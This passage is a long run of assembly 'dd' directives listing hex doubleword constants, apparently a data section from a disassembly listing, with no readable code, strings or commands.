		dd 3F007AA1h, 24CAC215h, 39D58B3h, 8E265FEAh, 0B8007FA0h
		dd 0FFA1C5B1h, 89F7EC3h, 0A45AB3B2h, 8ADC9601h,	38E8CE40h
		dd 0D71C00F4h, 0ABE154ADh, 0D00BF3Dh, 7C2A72A8h, 57048Fh
		dd 0F8D28479h, 0A6551A43h, 75D3B100h, 5A92E202h, 163D12A2h
		dd 38680F05h, 56E6CBC0h, 0C27D02FFh, 0A5CAE200h, 2F9058D2h
		dd 0E8EE000Fh, 5B80ED8Bh, 80002B2h, 0FC25C3F8h,	0F5065Ah
		dd 73D9EC2Bh, 17877EDCh, 84775C00h, 30C994D1h, 6C3005Dh
		dd 0C88E11CEh, 0E2FEE0E4h, 0CF054100h, 681BAEC2h, 0ABDC0E09h
		dd 1620C7F7h, 0CD263D9Fh, 59CC1105h, 0AC027DA7h, 8ECA107Fh
		dd 0A94BE110h, 9C418E9Ch, 4D4A6F5h, 43820E53h, 64A055D8h
		dd 7096C556h, 0C431DF1Fh, 0FC63AAC7h, 0C6B6FE50h, 120CB4E2h
		dd 176040B9h, 0A00D9D5Bh, 8907727Eh, 0C732383Ah, 0B1EABAD0h
		dd 0ADCD076Eh, 1035DF56h, 60CF61B5h, 0D27D1713h, 0B142AD00h
		dd 0F07CEEA5h, 0E71ACh,	52193F7h, 73D80241h, 7A4EBC00h
		dd 0EA1E32CDh, 1BB50063h, 91DECB6h, 6805DD6Ch, 4A45D213h
		dd 0EF5B9400h, 1D7286Bh, 5D151A80h, 40A8C422h, 0E29B8FECh
		dd 0A2E8F6C0h, 0ED9A41h, 7CB0BB2Ah, 21704A25h, 4800D77Dh
		dd 161E781Ah, 0EEB76A4h, 85D583E3h, 0F5FBCB80h,	79FAA75Ch
		dd 443F3A74h, 426F84DFh, 0B880E619h, 0BF591Eh, 8829E97Bh
		dd 0B5601480h, 24998F48h
		dd 95009724h, 328A9920h, 7A74ABh, 0F7DD28E5h, 1E6E9876h
		dd 8B4E200h, 91848D0Ah,	0E549263Eh, 46FA001Ch, 62D554A1h
		dd 6322D000h, 0B91ECB71h, 9219049Ch, 0DA56053Fh, 98C3002Ch
		dd 0ADD5C862h, 993C00B9h, 5FD905E8h, 120FCE65h,	0C07E9CD8h
		dd 40D5FFDBh, 33990358h, 1F7038D3h, 0A6637BF0h,	0C4015579h
		dd 25FC95E2h, 0E44079B0h, 9B6134h, 0B31621E6h, 0C45E731Fh
		dd 0EAEB200h, 4139334Fh, 2CA00E46h, 55079954h, 1FC206Bh
		dd 0A3009603h, 6DEE408Ch, 0BF8F4Fh, 0E8E0543Ah,	0F5AD5CC4h
		dd 0C7E7BE00h, 120AEE6Ch, 861300D5h, 304A843Ch,	0B13BA489h
		dd 0B9148046h, 0D3DBCB54h, 1588007Bh, 60C541CAh, 0F000DC50h
		dd 0AEB55925h, 1C44CBh,	289047E7h, 6AF357B8h, 8ED0C500h
		dd 29AFC272h, 0D287001Ch, 0C4E7DB1h, 9900C978h,	47FB799Fh
		dd 9816E3BCh, 91CD5070h, 65270098h, 8FABEEB8h, 1800B1E9h
		dd 0AAEBB5CCh, 0EAD3294h, 2869D81Dh, 9D1C6500h,	4B3B6370h
		dd 0E889073Ch, 0B60B5B2h, 237BBCh, 8E703907h, 24F2A6D9h
		dd 0B1A92000h, 45C5FB29h, 800A00DAh, 0C67D42F4h, 0D60E5456h
		dd 80BEE11Bh, 377596D4h, 0CD65263Fh, 0A57A0095h, 0B94677DEh
		dd 3E79A800h, 67EA348Ah, 9ADF006Ch, 0F90D8371h,	38608DF4h
		dd 49B84378h, 0B5BD00CCh, 540F0122h, 0A51CD9DAh, 17006DFBh
		dd 886F1C8Dh, 36C70F1Fh, 0FB60F27h, 450F5191h, 0AD928C20h
		dd 0EF00A801h, 0C5E483Ah, 3176DD1h, 69AB23F2h, 40BFE709h
		dd 250F11B1h, 0EA9B5D00h, 2B0DAC6Dh, 0D15A03FFh, 7D4DD092h
		dd 96846090h, 331C800h,	2CCF7BF7h, 56860E43h, 21E0676Ah
		dd 5E250E39h, 0D82DA718h, 0CB8E430h, 0ABC22F46h, 25004C10h
		dd 745C0ABAh, 9A50A4h, 0E761D3CCh, 5205F8C4h, 7EEACB7Ch
		dd 8AADC206h, 385D38h, 0D210EA13h, 3447BC8Ch, 1878BF30h
		dd 0E45183h, 0B531AC5Eh, 0CC3F391Fh, 8F9F39h, 4E11E116h
		dd 28E3A877h, 0FEBB3EA2h, 0F903EA0h, 0D1E04F00h, 0A8C66138h
		dd 6E046D06h, 0E587319h, 0B589C5EBh, 804554C4h,	72522D35h
		dd 4F290B03h, 37AD437h,	6AD817DCh, 49F014E0h, 0BC001D26h
		dd 6395FA5Ch, 386ED55Dh, 800F4F34h, 0CDE0097Bh,	1EC6EA25h
		dd 43F3BC00h, 0D757A2B5h, 0BE240034h, 0C2DD0D87h, 9C00048Dh
		dd 0C13E61E0h, 0F37515h, 0D69BEA8Fh, 0E69FB3E3h, 0D5C0F000h
		dd 758E4680h, 515D30D9h, 9C5F89A0h, 48040C48h, 155E004Bh
		dd 0EE5BFF0Eh, 4705051Eh, 55D5D2h, 4C0DBA84h, 4F13624Ah
		dd 9FF562Ah, 0D4003AE2h, 582241BEh, 8B0EE20Bh, 9650809Ah
		dd 24434Bh, 1BFD2725h, 39C27A87h, 6591BF03h, 0FB713552h
		dd 0C0B3AAD1h, 99FA43h,	38888654h, 0F446FE59h, 0F8D0A501h
		dd 0A81439E2h, 1C7372FCh, 0D120D8h, 0BC4413C6h,	601FA942h
		dd 310003F4h, 0A129E23Eh, 22EB00C2h, 0BB168AABh, 1D0015ADh
		dd 967C11E4h, 6ABDD4h, 49BC4A9h, 0B1A852F4h, 6C7B707h
		dd 910EF23h, 0BE35D1h, 6A12DF9Dh, 90301FCBh, 0D573BA04h
		dd 5EC383CDh, 1A13980Eh, 3FEF2809h, 0C1E000A8h,	3BAF71D1h
		dd 0DB75BF0Ch, 551BD300h, 4AEF5148h, 3CB603C6h,	70EE7B56h
		dd 93A40C0h, 6C09B492h,	802E64AEh, 91923D84h, 82F124CEh
		dd 3AFB0048h, 0E01015C9h, 0C1F6809Dh, 244B59F8h, 0F8E897h
		dd 57F2FF1Ch, 1E00445Fh, 0D25EF57Ah, 0A88420h, 0FBC2ADBEh
		dd 0A9D8CCCDh, 2658E7E8h, 0C73A0047h, 0C3E45DECh, 0A6856041h
		dd 3E54DE3Ch, 4E780200h, 663072D7h, 75093834h, 9EBC7A00h
		dd 7EFE21D1h, 0A05158h,	0B6650DB2h, 355583h, 43079EE2h
		dd 95D7AFACh, 94D35724h, 9A3BE00h, 8A300Bh, 0FD798D89h
		dd 5F41EB03h, 0AEAA8CA0h, 85E74C3Ah, 0A375B229h, 0FFD800C0h
		dd 23FC0038h, 42E8353Eh, 0A100140Dh, 11025B9Ch,	9253FBD0h
		dd 0C9E900B8h, 7B133FA7h, 8C00ED1Eh, 0B786FC21h, 375CA30h
		dd 7F27CC46h, 0EAC05BB9h, 5E00E5A2h, 0B3DFA424h, 4C699Dh
		dd 0F3729A8Ah, 0BB87BC81h, 8C54FD28h, 0CD3B08F4h, 1D918335h
		dd 0A729F62Ah, 80FB802Bh, 314621h, 0A8B30FD7h, 73021B98h
		dd 1EBB43Ch, 0AFC6D04Ah, 7020F740h, 466D2CC9h, 9B9F07F9h
		dd 0B595F027h, 3F1EC585h, 50D9B2C2h, 20DE7170h,	61B1CD9Ch
		dd 87ECAA00h, 0C120C96Fh, 0EEF500EFh, 822B30E0h, 0A60CDD22h
		dd 0A1946B8Fh, 1293B008h, 40752789h, 850A6FE8h,	28007EDAh
		dd 0CEE43D63h, 3A72FBFEh, 3100C647h, 4E326EAh, 0F5008095h
		dd 0D46F71D8h, 0F973A0h, 7BE10B83h, 0F3586ECDh,	0DAF2E400h
		dd 54D0982h, 687148C0h,	9C790F7Bh, 866343FEh, 2D80F1C5h
		dd 0D9018081h, 0FD622338h, 0DBD0FB3Bh, 1EAE0713h, 1F434Ch
		dd 58F294DAh, 79A3AC14h, 0E89A00BEh, 22F8167Ah,	0E2A02CAh
		dd 119D4AEEh, 0F40C7C61h, 0E3006CFDh, 59211EE0h, 0FC5D3F7Bh
		dd 0DC46030Bh, 4E4AC83Eh, 0CAD09BC0h, 8429331Fh, 32424406h
		dd 0CB4F05F0h, 0C0387093h, 0BA4BF038h, 4C9820E2h, 92B53F3Dh
		dd 0AB00AC73h, 0D9C40C46h, 579021h, 0E2E92866h,	98CF5C22h
		dd 5BC0C200h, 0CCB1906Eh, 6413DF9h, 0F0443700h,	634D29DCh
		dd 1B00D7E2h, 7B64178Bh, 0BD3FFBh, 0D06AB79Ah, 70DC1501h
		dd 0D4CA8A28h, 0E57020E9h, 0B11BE900h, 4C4452BEh, 898AFh
		dd 5EF46CB7h, 94230A12h, 0E100EC90h, 5AF5303Ah,	47CF44h
		dd 6820831Bh, 0F0BF1499h, 4125E101h, 0C25C3BFBh, 6739CCh
		dd 0F6EBD06Eh, 0A66AD21Fh, 807B2C3Dh, 42BF0296h, 0E786DB0h
		dd 134C7E0Ah, 9D9E23A1h, 6437C8F1h, 0AAA01000h,	0FEFFFF4h
		dd 0BAFB0311h, 0C7B8C61Ah, 84B8D7ABh, 0EBF2ECC9h, 7403997Fh
		dd 578936D1h, 0F1409843h, 0B2C00193h, 49AB1823h, 0BA4DF402h
		dd 0F91B7500h, 0F03690EBh, 2C8B3B10h, 0B03B443Dh, 56A3C500h
		dd 0E950ADA2h, 8020283Ah, 0C3342E2Fh, 1C431E7h,	5675F4Ah
		dd 0D16197BBh, 7608E850h, 8E9AAA00h, 8136EE1Ah,	0F7BE014Bh
		dd 0C625F477h, 0B70AF055h, 0D995921Eh, 65B42441h, 0DDCCFFB0h
		dd 760200A9h, 0F78231F5h, 8009174h, 0D9A0DE6Fh,	0D3E985h
		dd 0C8D4488Bh, 8D36F14Eh, 34132900h, 960777B4h,	0CCA7010Bh
		dd 35AB3DB8h, 130CD0D7h, 904E1800h, 2DEA0299h, 0C6310589h
		dd 0C07BBF2Fh, 672CFBDh, 51C8D0C0h, 48CDE9CBh, 341E221Eh
		dd 4FE69F6Ch, 93035221h, 0CED8A354h, 5B00474Ch,	64F5E971h
		dd 24A9022Fh, 0B0B16Eh,	72FD529Dh, 0B500510Eh, 0F02EBEEAh
		dd 3AC9DDh, 0E580FCD7h,	66B389ECh, 49AAF203h, 0D77C6F5Dh
		dd 0D72584D0h, 0C6E2006Ah, 2002ED6Eh, 2400983Bh, 16B2CCB7h
		dd 1FFA389h, 740F721Bh,	0C4B3AEDFh, 610F2A14h, 0C0377D96h
		dd 0BEF388C6h, 25640083h, 862C1DAAh, 0DF000DF6h, 84177810h
		dd 13E85Ah, 0D46BACA8h,	0A9986D45h, 774D5C00h, 0FDF6D996h
		dd 9E8D002Ch, 30667DC4h, 1E011683h, 9F4A5041h, 8E40C562h
		dd 2154Eh, 489EDD8Ah, 0D44C36A5h, 91D39B07h, 1420F559h
		dd 4086D7h, 0B8066357h,	4582D9C2h, 0A674E07h, 7D60BED4h
		dd 5344A3h, 1A30748Dh, 475743F6h, 0EECB3F02h, 0E06EF80Dh
		dd 1C70A9h, 4D583569h, 5093606Ah, 8632C097h, 0CB1001BEh
		dd 42E04A13h, 0CF40209Bh, 7678ED00h, 0E1A90E82h, 2E69000Dh
		dd 4E3DBE33h, 0E800F9B5h, 8001EEC4h, 702C4D88h,	30B0F2Bh
		dd 0AD605644h, 3D95E45Eh, 0C81E2A00h, 0F3EC110Dh, 1DFC00DCh
		dd 867E42ABh, 9D7F15AEh
		dd 8091453Ch, 1979B8E3h, 1FAF6E4Ah, 0C0EE4DC7h,	0BEF5DBBAh
		dd 353F8832h, 94418465h, 87805CC0h, 0B0A36040h,	380DFC0Fh
		dd 6B87B56Ah, 0E00897D6h, 58E4DDDEh, 2E5C291Dh,	444A9BC0h
		dd 16FE595h, 0F9642DD8h, 0D44C254Bh, 0C800DF22h, 58668913h
		dd 33F8448h, 0C6EFE7BCh, 0E3D0F9F5h, 86006E19h,	3A81EDAAh
		dd 74E2DFh, 0BC36FF6Bh,	0D63F077Bh, 1B893Fh, 0C98385DCh
		dd 1F6D54E5h, 4214D335h, 3E1F61Fh, 0EB33FA80h, 0E000C2Eh
		dd 6177DB56h, 525A98h, 65CD5016h, 535B827Bh, 0C0691507h
		dd 84B16C78h, 0E03A7C18h, 170011ACh, 9F080498h,	26ACCh
		dd 28623461h, 0E71F9065h, 60F1A400h, 4B52336Eh,	0A5F01Dh
		dd 6A0BB632h, 0D1783EC6h, 366FDC00h, 0D4B3F423h, 453A2855h
		dd 6A130FB8h, 8D204119h, 29FC8AE6h, 0A32FCB00h,	0F2C649A5h
		dd 0D6D21881h, 0F3A72A68h, 61DED800h, 37FC9C3Bh, 3AFB00B0h
		dd 224BC25h, 60099D34h,	4BBBDAh, 5010B4F9h, 641E0194h
		dd 0BAD2B92Dh, 4DA1F017h, 330E0BFEh, 2145535Eh,	0DEF53552h
		dd 0E813B043h, 2C1B1A0Ch, 16AED2h, 0B7C661E2h, 94777AA0h
		dd 960B3F7Dh, 82270DECh, 0A9324888h, 831D01F4h,	55208C41h
		dd 0B9B000AAh, 0A1D075D7h, 5100DCF9h, 36341970h, 1A7D66h
		dd 1BF430E3h, 9DA1375Bh, 550FD603h, 0EF696F4Bh,	3951C250h
		dd 0CDBD079Ah, 0B062CAA3h, 7FE6D26Dh, 0F5866C00h, 49A936B7h
		dd 0BE0B3BA7h, 19895A3Ch, 182FCCCh, 0D60CD85h, 0F90E13B9h
		dd 523AEC72h, 62900800h, 0D710E1h, 563F9CDEh, 89DCF11Dh
		dd 4D000471h, 0FF85CA82h, 49A64A0Bh, 0CB00A47Fh, 44054B16h
		dd 8728C874h, 8F0010C1h, 0F5FE82C9h, 79F61848h,	0C162495h
		dd 0A9B507C8h, 0E4B23156h, 8619C994h, 36FC8D19h, 0DFB60391h
		dd 0D4AC69EAh, 3C6365A0h, 0CC1818DEh, 89610B10h, 0BD32E02Ch
		dd 3F48331Eh, 0D138E001h, 8AF0CFBBh, 28D760F6h,	5C77911h
		dd 0D0F68DEh, 4BB5001Ah, 3F3839ACh, 0EA851E68h,	1979466h
		dd 5501B754h, 0F10B617Bh, 8F0C40AAh, 0A500354Ah, 827EA01Eh
		dd 0F83093C0h, 36CC0357h, 0BD3EA72h, 0ACC04ED3h, 46015849h
		dd 0C2AA33D9h, 0CD8E92Ch, 0AB7B13F1h, 1A7500CEh, 0E17F6F72h
		dd 0B5CB703h, 0A059283Dh, 33715F1h, 0AB80CDDFh,	8AF0AE78h
		dd 0FD03E325h, 531B9428h, 716ED068h, 37D60036h,	2D126901h
		dd 0F90E7397h, 8034985Ch, 4F52CD91h, 0BE405CAEh, 3DDC4C00h
		dd 6C0C8436h, 45358158h, 4BDE28Ch, 0A020E589h, 7797AC30h
		dd 266C00E1h, 0DD25BEB7h, 0BA073F4Ah, 751C55A6h, 42E81C0h
		dd 0B0DCA137h, 773661F2h, 145DD3F0h, 4CB7B6E2h,	9E946906h
		dd 8F1151A7h, 14032446h, 12B9993Dh, 0E807280Eh,	0FB4F444h
		dd 40768DA1h, 5CB10C28h, 1FD0F1C5h, 0A113EFBh, 0B9085719h
		dd 6086E266h, 520CD176h, 59CDA9ACh, 0AF3D0762h,	6F15389Dh
		dd 961FCEE2h, 3C917090h, 166880h, 0ED668AFBh, 2FF680FDh
		dd 80DAE8C8h, 8B3A65BAh, 8F02D7F2h, 8A3D36F5h, 0D2BB2004h
		dd 4CAC0D82h, 3A218B00h, 0EB2CC1E3h, 37813103h,	31A840A9h
		dd 0EE94085Eh, 5D8DBE18h, 31B985A9h, 8438EDD6h,	0E759801Eh
		dd 633BF1D5h, 70DA3D3Ah, 83F99B00h, 0EB1C8A38h,	95D51F02h
		dd 69F0ABh, 327982Ch, 4B00F4A4h, 26F2D49Fh, 1A08F67h, 0AD8B1D6Eh
		dd 0F49590C2h, 110A0F5Dh, 0CE1F8D0Ch, 18C1B038h, 930629h
		dd 0F09F4EDAh, 763AE72Ah, 1FC4B48h, 0DD35AFBDh,	0B422A42Fh
		dd 23347C0Bh, 22C9FC00h, 0E8008D06h, 8C903219h,	0FC8195h
		dd 0C4DD0C78h, 8CBABAFh, 52FD22C0h, 3D43E2h, 0D195F493h
		dd 0EC1E206Dh, 0D95481E4h, 9B14479Ch, 0F5A270h,	8C26CC35h
		dd 81CD3Fh, 792A7F04h, 0DCE9B624h, 0BABE503Dh, 217C30DDh
		dd 0C7932E8h, 4AA8F3EEh, 8B01FDF4h, 5BBBDF25h, 0E9C7ACD7h
		dd 0FD71E329h, 78D020h,	352110D0h, 9D3D9B4Bh, 1179FD64h
		dd 0F7799767h, 32DD74B6h, 0E01F2771h, 0D11B3779h, 7F8BCE04h
		dd 1AC6427Ah, 97480620h, 78543B44h, 5F0D9D1Fh, 0F8063700h
		dd 0C004BAA4h, 94EB2110h, 0CA034B2Ah, 1234C141h, 0FC2A343h
		dd 94231621h, 0A9470940h, 0B400762Ah, 0C20E0AF6h, 70953AFAh
		dd 0FC7C0CD2h, 0B7995F52h, 8BCFDh, 0E79E287Fh, 0C6B54AAh
		dd 50BCACD5h, 4D3C1E90h, 84CB28A2h, 2740CA07h, 0E80816Eh
		dd 60B8305Fh, 6645150h,	0ED031B01h, 85BC61F9h, 0C00876FEh
		dd 10EC521h, 5A3E592Eh,	601830EFh, 36543CEh, 0F14B8023h
		dd 6800C59Ch, 0AEB84056h, 0A5078Ch, 8AEE2272h, 0C29D189Bh
		dd 2F00E2F2h, 0CFA8E383h, 0A6243Ah, 7C4D2070h, 9FE115E7h
		dd 5A339900h, 654BEF28h, 0E1C15F94h, 6486E8BAh,	0AA0EB772h
		dd 21E176FCh, 0E5CB71BFh, 0EE09C0D3h, 0F7510047h, 40597BCAh
		dd 8900C7E1h, 71866B8Fh, 0C4102E3h, 11680963h, 0B084BF29h
		dd 8729C8A6h, 22108042h, 1E225613h, 239B249Fh, 5748A497h
		dd 24710D42h, 4B9E21BFh, 77984817h, 3F26EBh, 39723B4Ah
		dd 25FFC17h, 433C5500h,	6AFE015Bh, 66B21CF1h, 8DA640D3h
		dd 2BD826D7h, 91CE041Eh, 5129003Bh, 0DED9A8EEh,	0C08F0003h
		dd 5ED09C07h, 0FD705666h, 51BA9A17h, 0FD78F03h,	7D8090D4h
		dd 81B4002Fh, 738CD1C0h, 0D000E8D8h, 5D9CA1E2h,	72823ADBh
		dd 193D0009h, 5BA5BEAh,	7B60B0BEh, 525EA738h, 88450748h
		dd 801C8C07h, 87A4C94Fh, 51AE2D00h, 8B3931Dh, 1AAA0C8Bh
		dd 0C37A8844h, 80E16703h, 88DE9EC8h, 0EEF95C68h, 49EE3960h
		dd 74294E18h, 0F300F030h, 98DDE0D7h, 485B808h, 0AFAEF587h
		dd 19008079h, 0EA00417Eh, 0D8947605h, 325E6h, 0BBC84F9Fh
		dd 0DCE5D4Bh, 0B71C9200h, 0EB46A7FFh, 711B31B8h, 709B4C58h
		dd 51049C87h, 7A6AF58Ch, 902D2C92h, 1D81494h, 3E04DACDh
		dd 0C4815CEFh, 330057Ch, 28391055h, 0B9430076h,	0DCFABB9Ch
		dd 1214AD15h, 18C4571h,	2B6F2F70h, 1087B70Dh, 0FFC4B5AFh
		dd 0F3542740h, 9029C0h,	64331806h, 74A8B9EBh, 0F6D41D45h
		dd 3C0F4FBAh, 8C82E900h, 0CA007B25h, 27E2687Eh,	2B173DEh
		dd 1C5CEDFBh, 8445880h,	65680200h, 1BD66D24h, 5B7158D2h
		dd 98DA6300h, 0BCF1F5BFh, 5199300h, 0ABF660CEh,	2F8D14F4h
		dd 8008078h, 1B1E2292h,	6513DC7Ch, 0A5019FCFh, 78D72562h
		dd 2361E0h, 26E25713h, 0D34D2C5Fh, 8DBF171Eh, 43B14E00h
		dd 1B8F2CEh, 6E92C796h,	0D41B2F4Bh, 0D2001C57h,	5BCE41F3h
		dd 929B4B1h, 7616320Bh,	492A2420h, 630BF7F8h, 46C160h
		dd 996158DFh, 0C5AB054Bh, 0DFDAD3h, 0CD0C96F4h,	5013A6Ah
		dd 8CBF3756h, 0E9DDD5C3h, 77A2420h, 60E0DFD1h, 8877935Eh
		dd 0DA7B76B8h, 0F866E328h, 793AB710h, 0D62C4200h, 0EDA72EB0h
		dd 0C7FB4500h, 0FCDAFF6Ah, 853604B4h, 87C23A90h, 82259134h
		dd 4A0DCC5Eh, 0A80042E0h, 61802CAEh, 0A02362A1h, 981A5ED6h
		dd 3A690007h, 0CDA81B74h, 0A700A03Bh, 4104FA9Eh, 3A6A52B2h
		dd 0E780D2ABh, 3F762425h, 0F20079C4h, 7F5994E2h, 0EB6A23h
		dd 2CEAACCBh, 9164CE0Eh, 33F08B02h, 40D3FDC5h, 3F7B4DF3h
		dd 9B815BA8h, 6897993h,	0B24C81EFh, 6BAD37D5h, 7DD171D4h
		dd 2014004Eh, 0F60C418Dh, 88141B1Fh, 1FCB1EAh, 2A5E7EDCh
		dd 8C47007h, 256303C2h,	7B495419h, 5F9DC388h, 0E6B2F00h
		dd 0EC9CACF2h, 8BFB1EC7h, 0EDA300A1h, 4486AAE8h, 66D3AD04h
		dd 3B413AABh
		dd 188D37CBh, 0B9EC070Dh, 0E098BA74h, 879224F5h, 0D55E4000h
		dd 0CA3FD9DDh, 0FA48009Eh, 5030EA2Dh, 3300B35Ah, 602C1354h
		dd 9B793Fh, 80519E1Ah, 914C5DFh, 2E8C3D00h, 0F72DDED0h
		dd 69F1D66h, 0E27D8210h, 2140B0C1h, 0F603EEB6h,	55ADAC03h
		dd 9583D947h, 96CC20h, 0A0EA16ECh, 0C18FA973h, 5B02CF07h
		dd 0B870A4DAh, 3E0E54CBh, 0E0005938h, 64AE61F1h, 471F4C46h
		dd 74407770h, 4ACA252Bh, 0A8EA00A9h, 3C2B49Eh, 1F7AA05Fh
		dd 83E0BF00h, 719FB2E6h, 0CD91000Ch, 0CE54AE2Ch, 4CE20DABh
		dd 0B3006CEEh, 0B09D586Ah, 0F91407h, 22508571h,	16B784CEh
		dd 0FF187200h, 3E41E583h, 9882F4A9h, 9E5D0040h,	93AE2207h
		dd 9DEECBDEh, 6D00F4F2h, 0B7C1750Eh, 0A8B7Fh, 26A2F37Bh
		dd 5BA53C7Ch, 8AEFF09h,	0E7405598h, 5C0069B2h, 0D984502Eh
		dd 578CC54h, 0C718EB5Eh, 0DEB880FDh, 0B7189A0Eh, 596A58D1h
		dd 0C1880046h, 5E858231h, 2858D232h, 0D500014h,	0B12E5286h
		dd 29ED3D33h, 6ACA5818h, 0DE00085Fh, 0CF5C77FEh, 0B8CE1581h
		dd 0CA7A000Dh, 2DBACEAh, 4B02DF43h, 763B142h, 8DFCC0E4h
		dd 90349A4Fh, 80971C67h, 0D5007D66h, 8B98F208h,	113C2844h
		dd 69768062h, 30E2DB5Bh, 808A0101h, 0EFD236D9h,	795C03Dh
		dd 86A49F00h, 0D8496689h, 0E9591Dh, 0EBC27700h,	70E5DA1h
		dd 251ACB00h, 0E3D49C46h, 6FD924F5h, 0B58B8070h, 0EE408DD7h
		dd 88845900h, 82F249FBh, 488128B3h, 0F9DFFCD2h,	4C7363C0h
		dd 0BD0012C0h, 6D81B075h, 0AD004511h, 25A23C53h, 4291A5h
		dd 87C88208h, 0DBE2AC56h, 0BA021400h, 3F6DB259h, 0BE830080h
		dd 3E7DFED9h, 4576DAA1h, 0DFA31600h, 698B31EEh,	0B43B3B2Ch
		dd 0A64AC80h, 0FE4E04E9h, 5E3F4101h, 0BC43C9C3h, 9C8A30h
		dd 3A325C3Eh, 7C6CC493h, 26137AF0h, 0C006716h, 362A6A10h
		dd 7424006Dh, 4997776Ch, 6FE41A2Dh, 79087F0Eh, 0EA69202Bh
		dd 3AD0A8EFh, 0F781ABFBh, 98B6EEA5h, 0A1E12AEDh, 974AEE00h
		dd 9C31501Eh, 5A3400DFh, 4C0E8ACDh, 941D167Fh, 28C132C4h
		dd 2C23B15Dh, 0A193F0EBh, 0CE470085h, 0D32B8369h, 0CD00B426h
		dd 0F981A802h, 551BDFh,	31C029C2h, 131A411Ch, 3CF39E00h
		dd 0B6727526h, 0BAA1769h, 0E208008Dh, 24EE2CBFh, 0F0E6FA00h
		dd 58B331BBh, 6EB200E7h, 8250A2ABh, 23011D45h, 0ACA4307Ch
		dd 38F8BF97h, 4F960068h, 0D32CBE9h, 0BA00D510h,	0DC1B4B5Fh
		dd 0B4A18B2h, 65825CAAh, 1C960483h, 53611800h, 5E55133Fh
		dd 0A8CA0042h, 1633B5C4h, 9E0EDC80h, 0C79C4114h, 0CE0ED543h
		dd 0B2DE0055h, 2F59F0Ch, 4C6B2871h, 8440318Fh, 752E0250h
		dd 0F000029Ch, 543D49B5h, 4640F92h, 37205836h, 0C253126Dh
		dd 98F348h, 8A51D615h, 0F6643A66h, 427B0028h, 650ECDB3h
		dd 7A1C92CBh, 0FBC08D40h, 0A143352Eh, 0F9E400D3h, 7E0E2181h
		dd 45004FF8h, 0A3708CFCh, 73C9B17h, 9FFC927h, 64F031B2h
		dd 5579ECC3h, 0FA1CDE72h, 48005FB9h, 0A59620BCh, 3ED87308h
		dd 0D6BBF40Ch, 46BF6F80h, 0CF850265h, 0E3074Ch,	23BD7127h
		dd 0A6F6B4h, 25440BCAh,	86519445h, 83CC2B01h, 9F763C7h
		dd 34D41BC9h, 9C7D006Fh, 3A044F8Fh, 0CD0F520Fh,	0C03179FAh
		dd 11549E32h, 82440091h, 22F8C9ADh, 0B13EBAF4h,	761E0BB7h
		dd 0B5410081h, 0DB340h,	73EA24C4h, 5A969144h, 5EFF2600h
		dd 0B345B21Fh, 0F3E837h, 0C22F97EFh, 7A5C744Ch,	0D52D1300h
		dd 9657E3E2h, 7B321738h, 8CDE00D9h, 0C33F3D51h,	0E301E600h
		dd 7F38B9Eh, 0A54E00D5h, 3CBA760Bh, 0E6002E59h,	327CBC34h
		dd 1F4086C1h, 87CE7FC5h, 50C38AB1h, 0BA9091A0h,	673C1F79h
		dd 18D80034h, 482BC9F4h, 89DF0039h, 11B4E5BFh, 701B3B2h
		dd 0D57B086Bh, 392044DCh, 6673004Fh, 5C7DAC74h,	0BE0E6206h
		dd 0A570020Eh, 27807B4Bh, 2C926039h, 0FFF890h, 0DF86593Eh
		dd 0E80B28BEh, 80CF7D02h, 6135C145h, 0C5E3000Bh, 0D9B3F1Bh
		dd 8B00E9D2h, 27F6A80h,	98DE8382h, 0FF7800B2h, 917A6CBFh
		dd 6100D8E2h, 59815F80h, 0E6F1D4Ch, 47A238CFh, 964322E0h
		dd 5B0017BAh, 0ABEEC0EBh, 0A44DD0h, 0D3BD879Ah,	53919E31h
		dd 38566530h, 3E3269EAh, 0D8806BF9h, 783F70D0h,	9EA0E2B1h
		dd 0C000D5B4h, 0E950DFD3h, 0E15C17h, 0E2A00BD7h, 0BC76E73Bh
		dd 7F30C400h, 1A0966F4h, 0E09C38A2h, 0D8C72B83h, 29F89670h
		dd 0E900595Bh, 0D5A17DD7h, 45C90h, 8F7FD2EEh, 0D1EA5D33h
		dd 15EBA5A0h, 0DA3D6300h, 0E8A5BB8Ah, 40600314h, 1F8033DBh
		dd 0CFA6C4D8h, 3F469A00h, 8B3D3F0h, 0FF8F824h, 0B6FCEF71h
		dd 95371240h, 0C600F09Bh, 0A3BDDE4h, 7311DFF2h,	0E31E0A46h
		dd 3DE1BD08h, 75A81080h, 0D5865430h, 3E588900h,	0BE1E87DDh
		dd 0F495015Ah, 3B05B71Bh, 0C973ECA2h, 0AB373900h, 51E04B1Dh
		dd 6E240FC6h, 0AD4F5472h, 0A5DADBA0h, 0CF07944Eh, 8BC6A42Ch
		dd 0E360D727h, 3012AF1Bh, 78226E1Fh, 0B03EE532h, 3B3C4Ch
		dd 0BDD4DAACh, 718F2811h, 0E3C1004Bh, 8E231088h, 0C703AD62h
		dd 976AB1DDh, 53C5D864h, 98CF0013h, 0C0074BAAh,	0D2001252h
		dd 0F170379Bh, 0B89D1F2Bh, 0E5240122h, 10C44246h, 4A59C4C3h
		dd 0A8363300h, 0BB6F600Fh, 4C2B1222h, 54360045h, 2EDC9841h
		dd 5BBE8100h, 0FEE23C1Dh, 93500047h, 134F54FFh,	301CC0B5h
		dd 0E1C07D2Fh, 0A45F64F9h, 0FACA0322h, 10A893F1h, 6D42D800h
		dd 88F3DB66h, 2054169Ah, 0C0E71E0Bh, 93C90FA5h,	3B001E13h
		dd 53FEF0BAh, 0BF17B59h, 0B7DBBF6Ch, 4548E101h,	0A7D96047h
		dd 0C7D73800h, 0F4CA603Ah, 19B3009Fh, 0D593A884h, 0F5180A7Ah
		dd 4B784F2Dh, 44F90FDAh, 0DB401F6Eh, 5B498F35h,	36E5AA00h
		dd 921D8D50h, 5E821h, 1427BE94h, 890B7BA1h, 0D3CE9B00h
		dd 23BFB89Dh, 4336001Ch, 0B3F7F8B2h, 9600EB2Fh,	91D7355Eh
		dd 9E2A3h, 36C78031h, 0DF7F2DEh, 533A6706h, 0E28B7B2h
		dd 3BA1567Dh, 48409C06h, 804D9F3Eh, 0D7D116F9h,	0F55B54h
		dd 19D50A21h, 4D4E60CDh, 0CF298600h, 657A2B23h,	66A003Ch
		dd 6D30C770h, 0E9008B5Dh, 0D04F71A9h, 5C9DECF4h, 243D03D7h
		dd 0E2811980h, 496A18EDh, 80069239h, 8C772D8Ah,	59514Ah
		dd 155F6CAAh, 0BF33D7DBh, 37DAE000h, 760C922Bh,	0FBBA0F9Bh
		dd 0A2A0812Fh, 4EBB9CCBh, 0E0D39F03h, 0F0755DB4h, 4C3E9940h
